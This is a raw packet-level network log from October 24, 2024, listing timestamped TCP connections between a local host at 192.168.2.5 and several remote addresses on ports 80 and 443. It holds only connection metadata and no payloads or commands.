Oct 24, 2024 19:30:09.651571035 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651586056 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651590109 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651612043 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651638031 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651762009 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651777029 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651793003 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651808023 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651808977 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651818037 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651835918 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651839018 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651850939 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651868105 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651875019 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651881933 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651896954 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651897907 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651906967 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651926041 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651930094 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651953936 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651966095 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651968002 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651984930 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.651989937 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.651998997 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652007103 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652014017 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652024984 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652029037 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652043104 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652044058 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652057886 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652060032 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652074099 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652079105 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652089119 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652102947 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652103901 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652122974 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652123928 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652131081 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652156115 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652170897 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652173996 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652185917 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652200937 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652206898 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652216911 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652225018 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652231932 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652242899 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652246952 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652259111 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652262926 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652271032 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652276993 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652292013 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652292967 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652306080 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652312994 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652322054 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652331114 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652337074 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652348042 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652352095 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652365923 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652367115 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652381897 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652389050 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652395010 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652400017 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652425051 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652447939 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652461052 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652475119 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652491093 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652494907 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652506113 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652513981 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652522087 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652522087 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652542114 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652544022 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652554035 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652559042 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652574062 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652580976 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652599096 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652616024 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652669907 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652683973 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652698994 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652709961 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652714014 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652723074 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652745008 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652755976 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652770042 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652786970 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652797937 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652801037 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652817011 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652821064 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652847052 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652870893 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.652967930 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652982950 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.652997971 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.653011084 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.653023005 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.653039932 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.653431892 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.653446913 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.653465986 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.653472900 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.653486967 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.653506041 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.653522968 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.653537035 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.653552055 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.653563976 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.653567076 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.653578043 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.653582096 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.653597116 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.653604984 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.653637886 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.653670073 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.653670073 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.653671026 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.653914928 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.653956890 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.653958082 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.653973103 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.654007912 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.654017925 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.654027939 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.654042006 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.654057026 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.654072046 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.654073954 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.654073954 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.654097080 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.654109955 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.654153109 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.654192924 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.698930979 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.698956966 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.698972940 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.699043989 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.699086905 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721050024 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721064091 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721077919 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721105099 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721111059 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721126080 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721127033 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721142054 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721162081 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721170902 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721180916 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721184969 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721200943 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721204996 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721220016 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721239090 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721286058 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721318960 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721335888 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721343994 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721350908 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721357107 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721375942 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721404076 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721440077 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721461058 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721481085 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721484900 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721496105 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721503973 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721510887 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721522093 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721525908 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721539021 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721540928 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721555948 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721561909 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721561909 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721570015 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721580982 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721587896 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721601963 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721612930 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721616983 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721625090 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721631050 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721647024 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721652985 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721676111 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721698999 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721702099 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721738100 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721806049 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721821070 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721834898 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721848965 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721849918 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721863031 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721863985 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721879959 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721885920 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721895933 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.721918106 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.721940041 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.722065926 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.722079039 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.722100019 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.722112894 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.722115040 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.722131014 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.722131014 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.722141027 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.722146034 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.722160101 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.722197056 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.722213984 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.722229004 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.722249985 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.722268105 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:11.974901915 CEST	49955	80	192.168.2.5	185.215.113.43
Oct 24, 2024 19:30:11.975296974 CEST	49974	80	192.168.2.5	185.215.113.43
Oct 24, 2024 19:30:11.980758905 CEST	80	49974	185.215.113.43	192.168.2.5
Oct 24, 2024 19:30:11.980773926 CEST	80	49955	185.215.113.43	192.168.2.5
Oct 24, 2024 19:30:11.980853081 CEST	49974	80	192.168.2.5	185.215.113.43
Oct 24, 2024 19:30:11.980882883 CEST	49955	80	192.168.2.5	185.215.113.43
Oct 24, 2024 19:30:11.981028080 CEST	49974	80	192.168.2.5	185.215.113.43
Oct 24, 2024 19:30:11.986633062 CEST	80	49974	185.215.113.43	192.168.2.5
Oct 24, 2024 19:30:12.858098030 CEST	49979	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:30:12.858135939 CEST	443	49979	104.102.49.254	192.168.2.5
Oct 24, 2024 19:30:12.858211040 CEST	49979	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:30:12.859368086 CEST	49979	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:30:12.859380960 CEST	443	49979	104.102.49.254	192.168.2.5
Oct 24, 2024 19:30:12.909769058 CEST	80	49974	185.215.113.43	192.168.2.5
Oct 24, 2024 19:30:12.909985065 CEST	49974	80	192.168.2.5	185.215.113.43
Oct 24, 2024 19:30:12.911323071 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:12.911580086 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:12.917552948 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:12.918647051 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:12.918731928 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:12.918740988 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:12.918903112 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:12.924305916 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.696010113 CEST	443	49979	104.102.49.254	192.168.2.5
Oct 24, 2024 19:30:13.696206093 CEST	49979	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:30:13.700087070 CEST	49979	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:30:13.700098038 CEST	443	49979	104.102.49.254	192.168.2.5
Oct 24, 2024 19:30:13.700495005 CEST	443	49979	104.102.49.254	192.168.2.5
Oct 24, 2024 19:30:13.755404949 CEST	49979	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:30:13.835356951 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.835391045 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.835402012 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.835427046 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.835438013 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.835453033 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.835474968 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.835627079 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.835644960 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.835650921 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.835663080 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.835688114 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.835699081 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.835710049 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.835731030 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.835756063 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.840847015 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.840922117 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.840934038 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.840959072 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.840981960 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.841186047 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.843941927 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.991982937 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.991997004 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.992022991 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.992026091 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.992055893 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.992068052 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.992110014 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.992122889 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.992144108 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.992162943 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.992309093 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.992341995 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.992352962 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.992383957 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.992387056 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.992402077 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.992413998 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.992428064 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.992446899 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.993304014 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.993335009 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.993345022 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.993352890 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.993391037 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.993578911 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.993590117 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.993619919 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.994134903 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.994149923 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.994170904 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.994173050 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.994216919 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.994216919 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.994769096 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.994781017 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.994805098 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.994824886 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.994944096 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.994978905 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:13.995105028 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:13.995140076 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.147485971 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.147502899 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.147516012 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.147531033 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.147553921 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.147588968 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.147658110 CEST	80	49981	185.215.113.16	192.168.2.5
